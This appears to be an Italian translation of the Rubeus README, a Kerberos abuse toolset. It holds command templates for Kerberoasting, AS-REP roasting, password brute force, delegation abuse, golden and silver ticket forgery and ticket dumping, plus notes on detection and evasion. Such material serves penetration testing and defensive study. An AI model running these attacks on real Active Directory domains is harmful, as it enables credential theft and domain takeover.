
Cercando di domare il cane a tre teste.
Rubeus è un set di strumenti C# per l'interazione diretta con Kerberos e i suoi abusi. È fortemente adattato dal progetto Kekeo di Benjamin Delpy (licenza CC BY-NC-SA 4.0) e dal progetto MakeMeEnterpriseAdmin di Vincent LE TOUX (licenza GPL v3.0). Il pieno merito va a Benjamin e Vincent per aver risolto le componenti difficili della weaponizzazione: senza il loro lavoro precedente questo progetto non esisterebbe.
Charlie Clark e Ceri Coburn hanno entrambi dato contributi significativi come co-sviluppatori al codebase di Rubeus. Elad Shamir ha contribuito con un lavoro essenziale per la delegazione vincolata basata sulle risorse. Il loro lavoro è molto apprezzato!
Rubeus utilizza anche una libreria C# per il parsing/codifica ASN.1 di Thomas Pornin chiamata DDer, rilasciata con una licenza "simile a MIT". Un enorme ringraziamento a Thomas per il suo codice pulito e stabile!
Il codice PKINIT è fortemente adattato dallo strumento Bruce di @SteveSyfuhs. Bruce ha reso molto più facile comprendere RFC4556 (PKINIT). Un enorme ringraziamento a Steve!
La codifica e decodifica NDR per il PAC Kerberos si basa sulla libreria NtApiDotNet di @tiraniddo, grazie James.
Il metodo KerberosRequestorSecurityToken.GetRequest per il Kerberoasting è stato contribuito a PowerView (e poi incorporato in Rubeus) da @machosec.
@harmj0y è l'autore principale di questo codebase.
Rubeus è concesso in licenza secondo i termini della licenza BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Ticket requests and renewals:
Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Recupera un TGT basato su password/hash utente, con la possibilità di salvarlo in un file o di applicarlo alla sessione di accesso corrente o a un LUID specifico:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Recupera un TGT basato su password/hash utente, avvia un processo /netonly e applica il ticket al nuovo processo/sessione di accesso:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Recupera un TGT utilizzando un certificato PCKS12, avvia un processo /netonly e applica il ticket al nuovo processo/sessione di accesso:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Recupera un TGT utilizzando un certificato dal keystore dell'utente (Smartcard) specificando l'impronta digitale o il soggetto del certificato, avvia un processo /netonly e applica il ticket al nuovo processo/sessione di accesso:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Recupera un TGT adatto per cambiare un account con password scaduta utilizzando il comando changepw:
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Richiede un TGT senza inviare dati di pre-autenticazione:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Richiede un ticket di servizio utilizzando un AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Recupera un ticket di servizio per uno o più SPN, con la possibilità di salvarlo o applicarlo:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Recupera un ticket di servizio utilizzando le opzioni di richiesta elenco chiavi Kerberos:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Recupera un ticket per un account di servizio gestito delegato:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Rinnova un TGT, con la possibilità di applicare il ticket, salvarlo o rinnovarlo automaticamente fino al limite di rinnovo:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Esegue un attacco di brute force delle password basato su Kerberos:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Esegue una scansione per account che non richiedono pre-autenticazione:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Constrained delegation abuse:
Esegue abuso di delegazione vincolata S4U:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Esegue abuso di delegazione vincolata S4U tra domini:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Ticket Forgery:
Forgia un golden ticket utilizzando LDAP per raccogliere le informazioni rilevanti:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
Forgia un golden ticket utilizzando LDAP per raccogliere le informazioni rilevanti ma sovrascrivendo esplicitamente alcuni valori:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Forgia un golden ticket, impostando i valori esplicitamente:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Forgia un silver ticket utilizzando LDAP per raccogliere le informazioni rilevanti:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forgia un silver ticket utilizzando LDAP per raccogliere le informazioni rilevanti, usando la chiave KRBTGT per calcolare KDCChecksum e TicketChecksum:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forgia un silver ticket utilizzando LDAP per raccogliere le informazioni rilevanti ma sovrascrivendo esplicitamente alcuni valori:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forgia un silver ticket utilizzando LDAP per raccogliere le informazioni rilevanti e includendo una sezione PAC delle informazioni di delega S4U:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
Forgia un silver ticket utilizzando LDAP per raccogliere le informazioni rilevanti e impostando un cname e un crealm diversi:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
Forgia un silver ticket, impostando i valori esplicitamente:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Forgia un diamond TGT richiedendo un TGT basato su password/hash utente:
Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Forgia un diamond TGT richiedendo un TGT utilizzando un certificato PCKS12:
Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Forgia un diamond TGT richiedendo un TGT utilizzando tgtdeleg:
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
Ticket management:
Invia un TGT, con la possibilità di indirizzarlo a un LUID specifico (se elevato):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Elimina i ticket dalla sessione di accesso corrente, con la possibilità di indirizzarsi a un LUID specifico (se elevato):
Rubeus.exe purge [/luid:LOGINID]
Analizza e descrive un ticket (ticket di servizio o TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]
Ticket extraction and harvesting:
Triage di tutti i ticket correnti (se elevato, elenca per tutti gli utenti), con la possibilità di indirizzarsi a un LUID, nome utente o servizio specifico:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
Elenca tutti i ticket correnti in dettaglio (se elevato, elenca per tutti gli utenti), con la possibilità di indirizzarsi a un LUID specifico:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
Scarica tutti i dati dei ticket correnti (se elevato, scarica per tutti gli utenti), con la possibilità di indirizzarsi a un servizio/LUID specifico:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
Recupera un TGT .kirbi utilizzabile per l'utente corrente (con chiave di sessione) senza elevazione abusando di Kerberos GSS-API, simulando la delega:
Rubeus.exe tgtdeleg [/target:SPN]Monitora ogni /interval SECONDS (default 60) per nuovi TGT:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Monitora ogni /monitorinterval SECONDS (default 60) per nuovi TGT, rinnova automaticamente i TGT e mostra la cache funzionante ogni /displayinterval SECONDS (default 1200):
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Roastatura:
Esegui Kerberoasting:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Esegui Kerberoasting, scrivendo gli hash su un file:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
Esegui Kerberoasting, scrivendo gli hash nel formato file di output, ma sulla console:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Esegui Kerberoasting con credenziali alternative:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
Esegui Kerberoasting con un TGT esistente:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Esegui Kerberoasting con un TGT esistente usando un principal aziendale:
Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
Esegui Kerberoasting con un TGT esistente e riprova automaticamente con il principal aziendale se qualcosa fallisce:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
Esegui Kerberoasting usando il ticket tgtdeleg per richiedere ticket di servizio - richiede RC4 per account AES:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
Esegui Kerberoasting "opsec", usando tgtdeleg e filtrando gli account abilitati ad AES:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
Elenca statistiche sugli account trovati Kerberoastable senza effettivamente inviare richieste di ticket:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
Esegui Kerberoasting, richiedendo solo ticket per account con admin count pari a 1 (filtro LDAP personalizzato):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
Esegui Kerberoasting, richiedendo solo ticket per account la cui password è stata impostata l'ultima volta tra il 31-01-2005 e il 29-03-2010, restituendo fino a 5 ticket di servizio:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
Esegui Kerberoasting, con un ritardo di 5000 millisecondi e uno jitter del 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
Esegui Kerberoasting AES:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Esegui Kerberoasting usando un account senza pre-autenticazione inviando richieste AS-REQ:
Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]
Esegui "roasting" AS-REP per qualsiasi utente senza preautenticazione:
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]
Esegui "roasting" AS-REP per qualsiasi utente senza preautenticazione, scrivendo l'output in formato Hashcat su un file:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des]
Esegui "roasting" AS-REP per qualsiasi utente senza preautenticazione usando credenziali alternative:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]
Varie:
Crea un programma nascosto (a meno che non si passi /show) con credenziali casuali /netonly, mostrando il PID e il LUID:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]
Reimposta la password di un utente da un TGT fornito (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]
Calcola hash rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1 e des_cbc_md5:
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
Sostituisci un sname o SPN in un ticket di servizio esistente:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
Mostra il LUID dell'utente corrente:
Rubeus.exe currentluid
Mostra informazioni sulla sessione di accesso (corrente) o (target), per impostazione predefinita tutte leggibili:
Rubeus.exe logonsession [/current] [/luid:X]
L'argomento "/consoleoutfile:C:\FILE.txt" reindirizza tutto l'output della console al file specificato.
Il flag "/nowrap" impedisce che i blob di ticket in base64 vengano mandati a capo per qualsiasi funzione.
Il flag "/debug" produce informazioni di debug ASN.1.
Converte un AS-REP e una chiave in un Kirbi:
Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
Inserisce una nuova chiave di sessione DES in un Kirbi:
Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap]
NOTA: I blob di ticket in base64 possono essere decodificati con:
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
Questa sezione copre alcune note sulla sicurezza operativa dell'utilizzo di Rubeus in un ambiente, con alcuni esempi tecnici che confrontano/contrappongono alcuni dei suoi approcci a Mimikatz. Il materiale qui sarà ampliato in futuro.
Qualsiasi azione eseguita su un sistema è un rischio rilevabile, specialmente quando si abusa di funzionalità in modi "strani"/non previsti. Rubeus (come qualsiasi set di strumenti per attaccanti) può essere rilevato in diversi modi, dal punto di vista dell'host, della rete o del dominio. Ho un collega a cui piace dire "tutto è furtivo finché qualcuno non lo cerca" - gli strumenti e le tecniche generalmente sfuggono al rilevamento perché a) le persone non sono sufficientemente a conoscenza dello strumento/tecnica e quindi non li cercano, b) le persone non possono raccogliere ed elaborare i dati necessari alla scala appropriata, o c) lo strumento/tecnica si confonde con il comportamento esistente per intrufolarsi abbastanza con falsi positivi in un ambiente. Ci sono molte più informazioni su questi passaggi e sull'elusione del rilevamento in generale nel talk di Matt Graeber e Lee Christensen al Black Hat USA 2018 "Subverting Sysmon" e nel relativo whitepaper.
Dal punto di vista dell'host, Rubeus può essere scoperto durante la weaponizzazione iniziale del codice stesso, da un processo anomalo (non lsass.exe) che emette traffico Kerberos sulla porta 88, attraverso l'uso di API sensibili come LsaCallAuthenticationPackage(), o da ticket anomali presenti sull'host (ad es. uso di rc4_hmac nei ticket in un ambiente moderno).
Dal punto di vista dei log di rete o del controller di dominio, poiché Rubeus implementa molte parti del normale protocollo Kerberos, il metodo di rilevamento principale prevede l'uso di rc4_hmac negli scambi Kerberos. I domini Windows moderni (livello funzionale 2008 e successivi) utilizzano la crittografia AES per impostazione predefinita nei normali scambi Kerberos (con poche eccezioni come i ticket di trust tra regni). L'uso di un hash rc4_hmac (NTLM) in uno scambio Kerberos invece di una chiave aes256_cts_hmac_sha1 (o aes128) produce un segnale rilevabile a livello di host, di rete (se il traffico Kerberos viene analizzato) e di log del controller di dominio, a volte noto come "degradazione della crittografia".
Un modo comune in cui gli strumenti di attacco vengono rilevati è attraverso il vettore di weaponizzazione del codice. Se Rubeus viene eseguito tramite PowerShell (questo include Empire), si applicano tutte le protezioni standard di PowerShell V5 (registrazione approfondita degli script, AMSI, ecc.). Se Rubeus viene eseguito come binario su disco, entra in gioco il rilevamento tramite firma AV standard (parte del motivo per cui non pubblichiamo versioni compilate di Rubeus, perché le firme fragili sono sciocche ; ). Se Rubeus viene utilizzato come libreria, è suscettibile al metodo utilizzato dallo strumento principale per essere eseguito. E se Rubeus viene eseguito tramite esecuzione di assembly non gestito (come execute_assembly di Cobalt Strike), viene eseguita l'iniezione di codice tra processi e il CLR viene caricato in un processo potenzialmente non .NET, sebbene questo segnale sia presente per l'esecuzione di qualsiasi codice .NET che utilizza questo metodo.
Inoltre, AMSI (Antimalware Scan Interface) è stato aggiunto a .NET 4.8. Ryan Cobb ha ulteriori dettagli sulle implicazioni offensive di ciò nella sezione Difesa del suo post "Entering a Covenant: .NET Command and Control".
Supponiamo di avere accesso elevato su una macchina e di voler estrarre le credenziali dell'utente per il riutilizzo.
